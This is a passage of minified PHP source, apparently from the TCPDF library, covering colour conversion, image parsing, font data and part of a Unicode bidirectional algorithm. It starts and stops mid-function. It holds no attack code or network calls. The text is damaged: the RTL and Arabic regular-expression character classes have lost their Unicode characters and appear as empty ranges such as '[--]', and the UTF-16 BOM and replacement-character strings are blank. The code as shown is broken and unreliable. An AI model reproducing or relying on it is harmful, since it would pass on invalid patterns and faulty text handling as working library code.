getSpotColor($name,&$spotc){if(isset($spotc[$name])){return $spotc[$name];}$color=preg_replace(\'/[\s]*/\',\'\',$name);$color=strtolower($color);if(isset(self::$spotcolor[$color])){if(!isset($spotc[$name])){$i=(1+count($spotc));$spotc[$name]=array(\'C\'=>self::$spotcolor[$color][0],\'M\'=>self::$spotcolor[$color][1],\'Y\'=>self::$spotcolor[$color][2],\'K\'=>self::$spotcolor[$color][3],\'name\'=>self::$spotcolor[$color][4],\'i\'=>$i);}return $spotc[self::$spotcolor[$color][4]];}return false;} public static function convertHTMLColorToDec($hcolor,&$spotc,$defcol=array(\'R\'=>128,\'G\'=>128,\'B\'=>128)){$color=preg_replace(\'/[\s]*/\',\'\',$hcolor);$color=strtolower($color);if(strpos($color,\'[\')!==false){if(preg_match(\'/[\[][\"\'](t|g|rgb|cmyk)[\"\'][\,]?([0-9\.]*)[\,]?([0-9\.]*)[\,]?([0-9\.]*)[\,]?([0-9\.]*)[\]]/\',$color,$m)>0){$returncolor=array();switch($m[1]){case \'cmyk\':{$returncolor[\'C\']=max(0,min(100,(floatval($m[2])*100)));$returncolor[\'M\']=max(0,min(100,(floatval($m[3])*100)));$returncolor[\'Y\']=max(0,min(100,(floatval($m[4])*100)));$returncolor[\'K\']=max(0,min(100,(floatval($m[5])*100)));break;}case \'rgb\':{$returncolor[\'R\']=max(0,min(255,(floatval($m[2])*255)));$returncolor[\'G\']=max(0,min(255,(floatval($m[3])*255)));$returncolor[\'B\']=max(0,min(255,(floatval($m[4])*255)));break;}case \'g\':{$returncolor[\'G\']=max(0,min(255,(floatval($m[2])*255)));break;}case \'t\':default:{break;}}return $returncolor;}}elseif((substr($color,0,4)!=\'cmyk\') AND (substr($color,0,3)!=\'rgb\') AND (($dotpos=strpos($color,\'.\'))!==false)){$color=substr($color,($dotpos+1));if($color==\'transparent\'){return array();}}if(strlen($color)==0){return $defcol;}if(substr($color,0,3)==\'rgb\'){$codes=substr($color,4);$codes=str_replace(\')\',\'\',$codes);$returncolor=explode(\',\',$codes);foreach($returncolor as $key=>$val){if(strpos($val,\'%\')>0){$returncolor[$key]=(255*intval($val)/100);}else {$returncolor[$key]=intval($val);}$returncolor[$key]=max(0,min(255,$returncolor[$key]));}return $returncolor;}if(substr($color,0,4)==\'cmyk\'){$codes=substr($color,5);$codes=str_replace(\')\',\'\',$codes);$returncolor=explode(\',\',$codes);foreach($returncolor as $key=>$val){if(strpos($val,\'%\')!==false){$returncolor[$key]=(100*intval($val)/100);}else {$returncolor[$key]=intval($val);}$returncolor[$key]=max(0,min(100,$returncolor[$key]));}return $returncolor;}if($color[0]!=\'#\'){if(isset(self::$webcolor[$color])){$color_code=self::$webcolor[$color];}else {$returncolor=self::getSpotColor($color,$spotc);if($returncolor===false){$returncolor=$defcol;}return $returncolor;}}else {$color_code=substr($color,1);}switch(strlen($color_code)){case 3:{$r=substr($color_code,0,1);$g=substr($color_code,1,1);$b=substr($color_code,2,1);$returncolor=array();$returncolor[\'R\']=max(0,min(255,hexdec($r.$r)));$returncolor[\'G\']=max(0,min(255,hexdec($g.$g)));$returncolor[\'B\']=max(0,min(255,hexdec($b.$b)));break;}case 6:{$returncolor=array();$returncolor[\'R\']=max(0,min(255,hexdec(substr($color_code,0,2))));$returncolor[\'G\']=max(0,min(255,hexdec(substr($color_code,2,2))));$returncolor[\'B\']=max(0,min(255,hexdec(substr($color_code,4,2))));break;}case 8:{$returncolor=array();$returncolor[\'C\']=max(0,min(100,round(hexdec(substr($color_code,0,2))/2.55)));$returncolor[\'M\']=max(0,min(100,round(hexdec(substr($color_code,2,2))/2.55)));$returncolor[\'Y\']=max(0,min(100,round(hexdec(substr($color_code,4,2))/2.55)));$returncolor[\'K\']=max(0,min(100,round(hexdec(substr($color_code,6,2))/2.55)));break;}default:{$returncolor=$defcol;break;}}return $returncolor;} public static function getColorStringFromArray($c){$c=array_values($c);$color=\'[\';switch(count($c)){case 4:{$color.=sprintf(\'%F %F %F %F\',(max(0,min(100,floatval($c[0])))/100),(max(0,min(100,floatval($c[1])))/100),(max(0,min(100,floatval($c[2])))/100),(max(0,min(100,floatval($c[3])))/100));break;}case 3:{$color.=sprintf(\'%F %F %F\',(max(0,min(255,floatval($c[0])))/255),(max(0,min(255,floatval($c[1])))/255),(max(0,min(255,floatval($c[2])))/255));break;}case 1:{$color.=sprintf(\'%F\',(max(0,min(255,floatval($c[0])))/255));break;}}$color.=\']\';return $color;} public static function _JScolor($color){if(substr($color,0,1)==\'#\'){return sprintf("[\'RGB\',%F,%F,%F]",(hexdec(substr($color,1,2))/255),(hexdec(substr($color,3,2))/255),(hexdec(substr($color,5,2))/255));}if(!in_array($color,self::$jscolor)){$color=$jscolor[0];}return \'color.\'.$color;}}
define(\'K_PATH_MAIN\',dirname(__FILE__).\'/\');define(\'K_PATH_FONTS\',K_PATH_MAIN.\'fonts/\');define(\'PDF_PAGE_FORMAT\',\'A4\');define(\'PDF_PAGE_ORIENTATION\',\'P\');define(\'PDF_CREATOR\',\'TCPDF\');define(\'PDF_AUTHOR\',\'TCPDF\');define(\'PDF_UNIT\',\'mm\');define(\'PDF_MARGIN_HEADER\',5);define(\'PDF_MARGIN_FOOTER\',10);define(\'PDF_MARGIN_TOP\',27);define(\'PDF_MARGIN_BOTTOM\',25);define(\'PDF_MARGIN_LEFT\',15);define(\'PDF_MARGIN_RIGHT\',15);define(\'PDF_IMAGE_SCALE_RATIO\',1.25);define(\'K_CELL_HEIGHT_RATIO\',1.25);define(\'K_TITLE_MAGNIFICATION\',1.3);define(\'K_SMALL_RATIO\',2/3);define(\'K_THAI_TOPCHARS\',true);define(\'K_TCPDF_CALLS_IN_HTML\',false);$K_PATH_CACHE=ini_get(\'upload_tmp_dir\')?ini_get(\'upload_tmp_dir\'):sys_get_temp_dir();if(substr($K_PATH_CACHE,-1)!=\'/\'){$K_PATH_CACHE.=\'/\';}define(\'K_PATH_CACHE\',$K_PATH_CACHE);class TCPDF_IMAGES{ public static $svginheritprop=array(\'clip-rule\',\'color\',\'color-interpolation\',\'color-interpolation-filters\',\'color-profile\',\'color-rendering\',\'cursor\',\'direction\',\'display\',\'fill\',\'fill-opacity\',\'fill-rule\',\'font\',\'font-family\',\'font-size\',\'font-size-adjust\',\'font-stretch\',\'font-style\',\'font-variant\',\'font-weight\',\'glyph-orientation-horizontal\',\'glyph-orientation-vertical\',\'image-rendering\',\'kerning\',\'letter-spacing\',\'marker\',\'marker-end\',\'marker-mid\',\'marker-start\',\'pointer-events\',\'shape-rendering\',\'stroke\',\'stroke-dasharray\',\'stroke-dashoffset\',\'stroke-linecap\',\'stroke-linejoin\',\'stroke-miterlimit\',\'stroke-opacity\',\'stroke-width\',\'text-anchor\',\'text-rendering\',\'visibility\',\'word-spacing\',\'writing-mode\'); public static function getImageFileType($imgfile,$iminfo=array()){$type=\'\';if(isset($iminfo[\'mime\']) AND !empty($iminfo[\'mime\'])){$mime=explode(\'/\',$iminfo[\'mime\']);if((count($mime)>1) AND ($mime[0]==\'image\') AND (!empty($mime[1]))){$type=strtolower(trim($mime[1]));}}if(empty($type)){$fileinfo=pathinfo($imgfile);if(isset($fileinfo[\'extension\']) AND (!TCPDF_STATIC::empty_string($fileinfo[\'extension\']))){$type=strtolower(trim($fileinfo[\'extension\']));}}if($type==\'jpg\'){$type=\'jpeg\';}return $type;} public static function setGDImageTransparency($new_image,$image){$tcol=array(\'red\'=>255,\'green\'=>255,\'blue\'=>255);$tid=imagecolortransparent($image);$palletsize=imagecolorstotal($image);if(($tid>=0) AND ($tid<$palletsize)){$tcol=imagecolorsforindex($image,$tid);}$tid=imagecolorallocate($new_image,$tcol[\'red\'],$tcol[\'green\'],$tcol[\'blue\']);imagefill($new_image,0,0,$tid);imagecolortransparent($new_image,$tid);return $new_image;} public static function _toPNG($image,$tempfile){imageinterlace($image,0);imagepng($image,$tempfile);imagedestroy($image);$retvars=self::_parsepng($tempfile);unlink($tempfile);return $retvars;} public static function _toJPEG($image,$quality,$tempfile){imagejpeg($image,$tempfile,$quality);imagedestroy($image);$retvars=self::_parsejpeg($tempfile);unlink($tempfile);return $retvars;} public static function _parsejpeg($file){if(!@file_exists($file)){$tfile=str_replace(\' \',\'%20\',$file);if(@file_exists($tfile)){$file=$tfile;}}$a=getimagesize($file);if(empty($a)){return false;}if($a[2]!=2){return false;}$bpc=isset($a[\'bits\'])?intval($a[\'bits\']):8;if(!isset($a[\'channels\'])){$channels=3;}else {$channels=intval($a[\'channels\']);}switch($channels){case 1:{$colspace=\'DeviceGray\';break;}case 3:{$colspace=\'DeviceRGB\';break;}case 4:{$colspace=\'DeviceCMYK\';break;}default:{$channels=3;$colspace=\'DeviceRGB\';break;}}$data=file_get_contents($file);$icc=array();$offset=0;while(($pos=strpos($data,"ICC_PROFILE",$offset))!==false){$length=(TCPDF_STATIC::_getUSHORT($data,($pos-2))-16);$msn=max(1,ord($data[($pos+12)]));$nom=max(1,ord($data[($pos+13)]));$icc[($msn-1)]=substr($data,($pos+14),$length);$offset=($pos+14+$length);}if(count($icc)>0){ksort($icc);$icc=implode(\'\',$icc);if((ord($icc[36])!=0x61) OR (ord($icc[37])!=0x63) OR (ord($icc[38])!=0x73) OR (ord($icc[39])!=0x70)){$icc=false;}}else {$icc=false;}return array(\'w\'=>$a[0],\'h\'=>$a[1],\'ch\'=>$channels,\'icc\'=>$icc,\'cs\'=>$colspace,\'bpc\'=>$bpc,\'f\'=>\'DCTDecode\',\'data\'=>$data);} public static function _parsepng($file){$f=@fopen($file,\'rb\');if($f===false){return false;}if(fread($f,8)!=chr(137).\'PNG\'.chr(13).chr(10).chr(26).chr(10)){return false;}fread($f,4);if(fread($f,4)!=\'IHDR\'){return false;}$w=TCPDF_STATIC::_freadint($f);$h=TCPDF_STATIC::_freadint($f);$bpc=ord(fread($f,1));$ct=ord(fread($f,1));if($ct==0){$colspace=\'DeviceGray\';}elseif($ct==2){$colspace=\'DeviceRGB\';}elseif($ct==3){$colspace=\'Indexed\';}else {fclose($f);return \'pngalpha\';}if(ord(fread($f,1))!=0){fclose($f);return false;}if(ord(fread($f,1))!=0){fclose($f);return false;}if(ord(fread($f,1))!=0){fclose($f);return false;}fread($f,4);$channels=($ct==2?3:1);$parms=\'/DecodeParms << /Predictor 15 /Colors \'.$channels.\' /BitsPerComponent \'.$bpc.\' /Columns \'.$w.\' >>\';$pal=\'\';$trns=\'\';$data=\'\';$icc=false;$n=TCPDF_STATIC::_freadint($f);do{$type=fread($f,4);if($type==\'PLTE\'){$pal=TCPDF_STATIC::rfread($f,$n);fread($f,4);}elseif($type==\'tRNS\'){$t=TCPDF_STATIC::rfread($f,$n);if($ct==0){$trns=array(ord($t[1]));}elseif($ct==2){$trns=array(ord($t[1]),ord($t[3]),ord($t[5]));}else {if($n>0){$trns=array();for($i=0;$i<$n;++$i){$trns[]=ord($t{$i});}}}fread($f,4);}elseif($type==\'IDAT\'){$data.=TCPDF_STATIC::rfread($f,$n);fread($f,4);}elseif($type==\'iCCP\'){$len=0;while((ord(fread($f,1))!=0) AND ($len<80)){++$len;}if(ord(fread($f,1))!=0){fclose($f);return false;}$icc=TCPDF_STATIC::rfread($f,($n-$len-2));$icc=gzuncompress($icc);fread($f,4);}elseif($type==\'IEND\'){break;}else {TCPDF_STATIC::rfread($f,$n+4);}$n=TCPDF_STATIC::_freadint($f);}while($n);if(($colspace==\'Indexed\') AND (empty($pal))){fclose($f);return false;}fclose($f);return array(\'w\'=>$w,\'h\'=>$h,\'ch\'=>$channels,\'icc\'=>$icc,\'cs\'=>$colspace,\'bpc\'=>$bpc,\'f\'=>\'FlateDecode\',\'parms\'=>$parms,\'pal\'=>$pal,\'trns\'=>$trns,\'data\'=>$data);}}class TCPDF_FONT_DATA{ public static $uni_LRM=8206; public static $uni_RLM=8207; public static $uni_LRE=8234; public static $uni_RLE=8235; public static $uni_PDF=8236; public static $uni_LRO=8237; public static $uni_RLO=8238; public static $uni_RE_PATTERN_RTL="/(
# R
| [--] # R
| [-] # R
| # R
| [---] # R
| [-] # R
| [--] # R
| [-] # R
| [---] # R
| [--] # R
| [] # RLE & RLO
)/x"; public static $uni_RE_PATTERN_ARABIC="/(
[--] # AL
| [---] # AL
| [-] # AL
| [--] # AL
| [--] # AL
| [-] # AL
| [-] # AL
| [-] # AL
| [-] # AL
| [-] # AL
| [-][-] # AL
| [-] # AL
| [-] # AL
| [--] # AL
| [--] # AL
| [--] # AL
| [-] # AL
| [-] # AL
| [-] # AN
)/x"; public static $uni_type=array(); public static $uni_mirror=array(); public static $uni_arabicsubst=array(); public static $uni_laa_array=array(1570=>array(65269,65270,65269,65270),1571=>array(65271,65272,65271,65272),1573=>array(65273,65274,65273,65274),1575=>array(65275,65276,65275,65276)); public static $uni_diacritics=array(1612=>64606,1613=>64607,1614=>64608,1615=>64609,1616=>64610); public static $uni_utf8tolatin=array(8364=>128,338=>140,352=>138,376=>159,381=>142,8226=>149,710=>136,8224=>134,8225=>135,8230=>133,8212=>151,8211=>150,402=>131,8249=>139,8250=>155,339=>156,8240=>137,8222=>132,8220=>147,8221=>148,8216=>145,8217=>146,8218=>130,353=>154,732=>152,8482=>153,382=>158); public static $encmap=array(); public static $uni_identity_h="";}class TCPDF_FONTS{ protected static $cache_uniord=array(); public static function unichr($c,$unicode=true){if(!$unicode){return chr($c);}elseif($c<=0x7F){return chr($c);}elseif($c<=0x7FF){return chr(0xC0|$c>>6).chr(0x80|$c&0x3F);}elseif($c<=0xFFFF){return chr(0xE0|$c>>12).chr(0x80|$c>>6&0x3F).chr(0x80|$c&0x3F);}elseif($c<=0x10FFFF){return chr(0xF0|$c>>18).chr(0x80|$c>>12&0x3F).chr(0x80|$c>>6&0x3F).chr(0x80|$c&0x3F);}else {return \'\';}} public static function unichrUnicode($c){return self::unichr($c,true);} public static function unichrASCII($c){return self::unichr($c,false);} public static function arrUTF8ToUTF16BE($unicode,$setbom=false){$outstr=\'\';if($setbom){$outstr.="";}foreach($unicode as $char){if($char==0x200b){}elseif($char==0xFFFD){$outstr.="";}elseif($char<0x10000){$outstr.=chr($char>>0x08);$outstr.=chr($char&0xFF);}else {$char-=0x10000;$w1=0xD800|($char>>0x0a);$w2=0xDC00|($char&0x3FF);$outstr.=chr($w1>>0x08);$outstr.=chr($w1&0xFF);$outstr.=chr($w2>>0x08);$outstr.=chr($w2&0xFF);}}return $outstr;} public static function UTF8ArrayToUniArray($ta,$isunicode=true){if($isunicode){return array_map(array(\'TCPDF_FONTS\',\'unichrUnicode\'),$ta);}return array_map(array(\'TCPDF_FONTS\',\'unichrASCII\'),$ta);} public static function UTF8ArrSubString($strarr,$start=\'\',$end=\'\',$unicode=true){if(strlen($start)==0){$start=0;}if(strlen($end)==0){$end=count($strarr);}$string=\'\';for($i=$start;$i<$end;++$i){$string.=self::unichr($strarr[$i],$unicode);}return $string;} public static function UniArrSubString($uniarr,$start=\'\',$end=\'\'){if(strlen($start)==0){$start=0;}if(strlen($end)==0){$end=count($uniarr);}$string=\'\';for($i=$start;$i<$end;++$i){$string.=$uniarr[$i];}return $string;} public static function updateCIDtoGIDmap($map,$cid,$gid){if(($cid>=0) AND ($cid<=0xFFFF) AND ($gid>=0)){if($gid>0xFFFF){$gid-=0x10000;}$map[($cid*2)]=chr($gid>>8);$map[(($cid*2)+1)]=chr($gid&0xFF);}return $map;} public static function _getfontpath(){if(!defined(\'K_PATH_FONTS\') AND is_dir($fdir=realpath(dirname(__FILE__).\'/../fonts\'))){if(substr($fdir,-1)!=\'/\'){$fdir.=\'/\';}define(\'K_PATH_FONTS\',$fdir);}return defined(\'K_PATH_FONTS\')?K_PATH_FONTS:\'\';} public static function getFontFullPath($file,$fontdir=false){$fontfile=\'\';if(($fontdir!==false) AND @file_exists($fontdir.$file)){$fontfile=$fontdir.$file;}elseif(@file_exists(self::_getfontpath().$file)){$fontfile=self::_getfontpath().$file;}elseif(@file_exists($file)){$fontfile=$file;}return $fontfile;} public static function UTF8ArrToLatin1Arr($unicode){$outarr=array();foreach($unicode as $char){if($char<256){$outarr[]=$char;}elseif(array_key_exists($char,TCPDF_FONT_DATA::$uni_utf8tolatin)){$outarr[]=TCPDF_FONT_DATA::$uni_utf8tolatin[$char];}elseif($char==0xFFFD){}else {$outarr[]=63;}}return $outarr;} public static function UTF8ArrToLatin1($unicode){$outstr=\'\';foreach($unicode as $char){if($char<256){$outstr.=chr($char);}elseif(array_key_exists($char,TCPDF_FONT_DATA::$uni_utf8tolatin)){$outstr.=chr(TCPDF_FONT_DATA::$uni_utf8tolatin[$char]);}elseif($char==0xFFFD){}else {$outstr.=\'?\';}}return $outstr;} public static function uniord($uch){if(!isset(self::$cache_uniord[$uch])){self::$cache_uniord[$uch]=self::getUniord($uch);}return self::$cache_uniord[$uch];} public static function getUniord($uch){if(function_exists(\'mb_convert_encoding\')){list(,$char)=@unpack(\'N\',mb_convert_encoding($uch,\'UCS-4BE\',\'UTF-8\'));if($char>=0){return $char;}}$bytes=array();$countbytes=0;$numbytes=1;$length=strlen($uch);for($i=0;$i<$length;++$i){$char=ord($uch[$i]);if($countbytes==0){if($char<=0x7F){return $char;}elseif(($char>>0x05)==0x06){$bytes[]=($char-0xC0)<<0x06;++$countbytes;$numbytes=2;}elseif(($char>>0x04)==0x0E){$bytes[]=($char-0xE0)<<0x0C;++$countbytes;$numbytes=3;}elseif(($char>>0x03)==0x1E){$bytes[]=($char-0xF0)<<0x12;++$countbytes;$numbytes=4;}else {return 0xFFFD;}}elseif(($char>>0x06)==0x02){$bytes[]=$char-0x80;++$countbytes;if($countbytes==$numbytes){$char=$bytes[0];for($j=1;$j<$numbytes;++$j){$char+=($bytes[$j]<<(($numbytes-$j-1)*0x06));}if((($char>=0xD800) AND ($char<=0xDFFF)) OR ($char>=0x10FFFF)){return 0xFFFD;}else {return $char;}}}else {return 0xFFFD;}}return 0xFFFD;} public static function UTF8StringToArray($str,$isunicode=true,&$currentfont){if($isunicode){$chars=TCPDF_STATIC::pregSplit(\'//\',\'u\',$str,-1,PREG_SPLIT_NO_EMPTY);$carr=array_map(array(\'TCPDF_FONTS\',\'uniord\'),$chars);}else {$chars=str_split($str);$carr=array_map(\'ord\',$chars);}$currentfont[\'subsetchars\']+=array_fill_keys($carr,true);return $carr;} public static function UTF8ToLatin1($str,$isunicode=true,&$currentfont){$unicode=self::UTF8StringToArray($str,$isunicode,$currentfont);return self::UTF8ArrToLatin1($unicode);} public static function UTF8ToUTF16BE($str,$setbom=false,$isunicode=true,&$currentfont){if(!$isunicode){return $str;}$unicode=self::UTF8StringToArray($str,$isunicode,$currentfont);return self::arrUTF8ToUTF16BE($unicode,$setbom);} public static function utf8StrRev($str,$setbom=false,$forcertl=false,$isunicode=true,&$currentfont){return self::utf8StrArrRev(self::UTF8StringToArray($str,$isunicode,$currentfont),$str,$setbom,$forcertl,$isunicode,$currentfont);} public static function utf8StrArrRev($arr,$str=\'\',$setbom=false,$forcertl=false,$isunicode=true,&$currentfont){return self::arrUTF8ToUTF16BE(self::utf8Bidi($arr,$str,$forcertl,$isunicode,$currentfont),$setbom);} public static function utf8Bidi($ta,$str=\'\',$forcertl=false,$isunicode=true,&$currentfont){$pel=0;$maxlevel=0;if(TCPDF_STATIC::empty_string($str)){$str=self::UTF8ArrSubString($ta,\'\',\'\',$isunicode);}if(preg_match(TCPDF_FONT_DATA::$uni_RE_PATTERN_ARABIC,$str)){$arabic=true;}else {$arabic=false;}if(!($forcertl OR $arabic OR preg_match(TCPDF_FONT_DATA::$uni_RE_PATTERN_RTL,$str))){return $ta;}$numchars=count($ta);if($forcertl==\'R\'){$pel=1;}elseif($forcertl==\'L\'){$pel=0;}else {for($i=0;$i<$numchars;++$i){$type=TCPDF_FONT_DATA::$uni_type[$ta[$i]];if($type==\'L\'){$pel=0;break;}elseif(($type==\'AL\') OR ($type==\'R\')){$pel=1;break;}}}$cel=$pel;$dos=\'N\';$remember=array();$sor=$pel%2?\'R\':\'L\';$eor=$sor;$chardata=Array();for($i=0;$i<$numchars;++$i){if($ta[$i]==TCPDF_FONT_DATA::$uni_RLE){$next_level=$cel+($cel%2)+1;if($next_level<62){$remember[]=array(\'num\'=>TCPDF_FONT_DATA::$uni_RLE,\'cel\'=>$cel,\'dos\'=>$dos);$cel=$next_level;$dos=\'N\';$sor=$eor;$eor=$cel%2?\'R\':\'L\';}}elseif($ta[$i]==TCPDF_FONT_DATA::$uni_LRE){$next_level=$cel+2-($cel%2);if($next_level<62){$remember[]=array(\'num\'=>TCPDF_FONT_DATA::$uni_LRE,\'cel\'=>$cel,\'dos\'=>$dos);$cel=$next_level;$dos=\'N\';$sor=$eor;$eor=$cel%2?\'R\':\'L\';}}elseif($ta[$i]==TCPDF_FONT_DATA::$uni_RLO){$next_level=$cel+($cel%2)+1;if($next_level<62){$remember[]=array(\'num\'=>TCPDF_FONT_DATA::$uni_RLO,\'cel\'=>$cel,\'dos\'=>$dos);$cel=$next_level;$dos=\'R\';$sor=$eor;$eor=$cel%2?\'R\':\'L\';}}elseif($ta[$i]==TCPDF_FONT_DATA::$uni_LRO){$next_level=$cel+2-($cel%2);if($next_level<62){$remember[]=array(\'num\'=>TCPDF_FONT_DATA::$uni_LRO,\'cel\'=>$cel,\'dos\'=>$dos);$cel=$next_level;$dos=\'L\';$sor=$eor;$eor=$cel%2?\'R\':\'L\';}}elseif($ta[$i]==TCPDF_FONT_DATA::$uni_PDF){if(count($remember)){$last=count($remember)-1;if(($remember[$last][\'num\']==TCPDF_FONT_DATA::$uni_RLE) OR ($remember[$last][\'num\']==TCPDF_FONT_DATA::$uni_LRE) OR ($remember[$last][\'num\']==TCPDF_FONT_DATA::$uni_RLO) OR ($remember[$last][\'num\']==TCPDF_FONT_DATA::$uni_LRO)){$match=array_pop($remember);$cel=$match[\'cel\'];$dos=$match[\'dos\'];$sor=$eor;$eor=($cel>$match[\'cel\']?$cel:$match[\'cel\'])%2?\'R\':\'L\';}}}elseif(($ta[$i]!=TCPDF_FONT_DATA::$uni_RLE) AND ($ta[$i]!=TCPDF_FONT_DATA::$uni_LRE) AND ($ta[$i]!=TCPDF_FONT_DATA::$uni_RLO) AND ($ta[$i]!=TCPDF_FONT_DATA::$uni_LRO) AND ($ta[$i]!=TCPDF_FONT_DATA::$uni_PDF)){if($dos!=\'N\'){$chardir=$dos;}else {if(isset(TCPDF_FONT_DATA::$uni_type[$ta[$i]])){$chardir=TCPDF_FONT_DATA::$uni_type[$ta[$i]];}else {$chardir=\'L\';}}$chardata[]=array(\'char\'=>$ta[$i],\'level\'=>$cel,\'type\'=>$chardir,\'sor\'=>$sor,\'eor\'=>$eor);}}$numchars=count($chardata);$prevlevel=-1;$levcount=0;for($i=0;$i<$numchars;++$i){if($chardata[$i][\'type\']==\'NSM\'){if($levcount){$chardata[$i][\'type\']=$chardata[$i][\'sor\'];}elseif($i>0){$chardata[$i][\'type\']=$chardata[($i-1)][\'type\'];}}if($chardata[$i][\'level\']!=$prevlevel){$levcount=0;}else {++$levcount;}$prevlevel=$chardata[$i][\'level\'];}$prevlevel=-1;$levcount=0;for($i=0;$i<$numchars;++$i){if($chardata[$i][\'char\']==\'EN\'){for($j=$levcount;$j>=0;$j--){if($chardata[$j][\'type\']==\'AL\'){$chardata[$i][\'type\']=\'AN\';}elseif(($chardata[$j][\'type\']==\'L\') OR ($chardata[$j][\'type\']==\'R\')){break;}}}if($chardata[$i][\'level\']!=$prevlevel){$levcount=0;}else {++$levcount;}$prevlevel=$chardata[$i][\'level\'];}for($i=0;$i<$numchars;++$i){if($chardata[$i][\'type\']==\'AL\'){$chardata[$i][\'type\']=\'R\';}}$prevlevel=-1;$levcount=0;for($i=0;$i<$numchars;++$i){if(($levcount>0) AND (($i+1)<$numchars) AND ($chardata[($i+1)][\'level\']==$prevlevel)){if(($chardata[$i][\'type\']==\'ES\') AND ($chardata[($i-1)][\'type\']==\'EN\') AND ($chardata[($i+1)][\'type\']==\'EN\')){$chardata[$i][\'type\']=\'EN\';}elseif(($chardata[$i][\'type\']==\'CS\') AND ($chardata[($i-1)][\'type\']==\'EN\') AND ($chardata[($i+1)][\'type\']==\'EN\')){$chardata[$i][\'type\']=\'EN\';}elseif(($chardata[$i][\'type\']==\'CS\') AND ($chardata[($i-1)][\'type\']==\'AN\') AND ($chardata[($i+1)][\'type\']==\'AN\')){$chardata[$i][\'type\']=\'AN\';}}if($chardata[$i][\'level\']!=$prevlevel){$levcount=0;}else {++$levcount;}$prevlevel=$chardata[$i][\'level\'];}$prevlevel=-1;$levcount=0;for($i=0;$i<$numchars;++$i){if($chardata[$i][\'type\']==\'ET\'){if(($levcount>0) AND ($chardata[($i-1)][\'type\']==\'EN\')){$chardata[$i][\'type\']=\'EN\';}else {$j=$i+1;while(($j<$numchars) AND ($chardata[$j][\'level\']==$prevlevel)){if($chardata[$j][\'type\']==\'EN\'){$chardata[$i][\'type\']=\'EN\';break;}elseif($chardata[$j][\'type\']!=\'ET\'){break;}++$j;}}}if($chardata[$i][\'level\']!=$prevlevel){$levcount=0;}else {++$levcount;}$prevlevel=$chardata[$i][\'level\'];}$prevlevel=-1;$levcount=0;for($i=0;$i<$numchars;++$i){if(($chardata[$i][\'type\']==\'ET\') OR ($chardata[$i][\'type\']==\'ES\') OR ($chardata[$i][\'type\']==\'CS\')){$chardata[$i][\'type\']=\'ON\';}if($chardata[$i][\'level\']!=$prevlevel){$levcount=0;}else {++$levcount;}$prevlevel=$chardata[$i][\'level\'];}$prevlevel=-1;$levcount=0;for($i=0;$i<$numchars;++$i){if($chardata[$i][\'char\']==\'EN\'){for($j=$levcount;$j>=0;$j--){if($chardata[$j][\'type\']==\'L\'){$chardata[$i][\'type\']=\'L\';}elseif($chardata[$j][\'type\']==\'R\'){break;}}}if($chardata[$i][\'level\']!=$prevlevel){$levcount=0;}else {++$levcount;}$prevlevel=$chardata[$i][\'level\'];}$prevlevel=-1;$levcount=0;for($i=0;$i<$numchars;++$i){if(($levcount>0) AND (($i+1)<$numchars) AND ($chardata[($i+1)][\'level\']==$prevlevel)){if(($chardata[$i][\'type\']==\'N\') AND ($chardata[($i-1)][\'type\']==\'L\') AND ($chardata[($i+1)][\'type\']==\'L\')){$chardata[$i][\'type\']=\'L\';}elseif(($chardata[$i][\'type\']==\'N\') AND (($chardata[($i-1)][\'type\']==\'R\') OR ($chardata[($i-1)][\'type\']==\'EN\') OR ($chardata[($i-1)][\'type\']==\'AN\')) AND (($chardata[($i+1)][\'type\']==\'R\') OR ($chardata[($i+1)][\'type\']==\'EN\') OR ($chardata[($i+1)][\'type\']==\'AN\'))){$chardata[$i][\'type\']=\'R\';}elseif($chardata[$i][\'type\']==\'N\'){$chardata[$i][\'type\']=$chardata[$i][\'sor\'];}}elseif(($levcount==0) AND (($i+1)<$numchars) AND ($chardata[($i+1)][\'level\']==$prevlevel)){if(($chardata[$i][\'type\']==\'N\') AND ($chardata[$i][\'sor\']==\'L\') AND ($chardata[($i+1)][\'type\']==\'L\')){$chardata[$i][\'type\']=\'L\';}elseif(($chardata[$i][\'type\']==\'N\') AND (($chardata[$i][\'sor\']==\'R\') OR ($chardata[$i][\'sor\']==\'EN\') OR ($chardata[$i][\'sor\']==\'AN\')) AND (($chardata[($i+1)][\'type\']==\'R\') OR ($chardata[($i+1)][\'type\']==\'EN\') OR ($chardata[($i+1)][\'type\']==\'AN\'))){$chardata[$i][\'type\']=\'R\';}elseif($chardata[$i][\'type\']==\'N\'){$chardata[$i][\'type\']=$chardata[$i][\'sor\'];}}elseif(($levcount>0) AND ((($i+1)==$numchars) OR (($i+1)<$numchars) AND ($chardata[($i+1)][\'level\']!=$prevlevel))){if(($chardata[$i][\'type\']==\'N\') AND ($chardata[($i-1)][\'type\']==\'L\') AND ($chardata[$i][\'eor\']==\'L\')){$chardata[$i][\'type\']=\'L\';}elseif(($chardata[$i][\'type\']==\'N\') AND (($chardata[($i-1)][\'type\']==\'R\') OR ($chardata[($i-1)][\'type\']==\'EN\') OR ($chardata[($i-1)][\'type\']==\'AN\')) AND (($chardata[$i][\'eor\']==\'R\') OR ($chardata[$i][\'eor\']==\'EN\') OR ($chardata[$i][\'eor\']==\'AN\'))){$chardata[$i][\'type\']=\'R\';}elseif($chardata[$i][\'type\']==\'N\'){$chardata[$i][\'type\']=$chardata[$i][\'sor\'];}}elseif($chardata[$i][\'type\']==\'N\'){$chardata[$i][\'type\']=$chardata[$i][\'sor\'];}if($chardata[$i][\'level\']!=$prevlevel){$levcount=0;}else {++$levcount;}$prevlevel=$chardata[$i][\'level\'];}for($i=0;$i<$numchars;++$i){$odd=$chardata[$i][\'level\']%2;if($odd){if(($chardata[$i][\'type\']==\'L\') OR ($chardata[$i][\'type\']==\'AN\') OR ($chardata[$i][\'type\']==\'EN\')){$chardata[$i][\'level\']+=1;}}else {if($chardata[$i][\'type\']==\'R\'){$chardata[$i][\'level\']+=1;}elseif(($chardata[$i][\'type\']==\'AN\') OR ($chardata[$i][\'type\']==\'EN\')){$chardata[$i][\'level\']+=2;}}$maxlevel=max($chardata[$i][\'level\'],$maxlevel);}for($i=0;$i<$numchars;++$i){if(($chardata[$i][\'type\']==\'B\') OR ($chardata[$i][\'type\']==\'S\')){$chardata[$i][\'level\']=$pel;}elseif($chardata[$i][\'type\']==\'WS\'){$j=$i+1;while($j<$numchars){if((($chardata[$j][\'type\']==\'B\') OR ($chardata[$j][\'type\']==\'S\')) OR (($j==($numchars-1)) AND 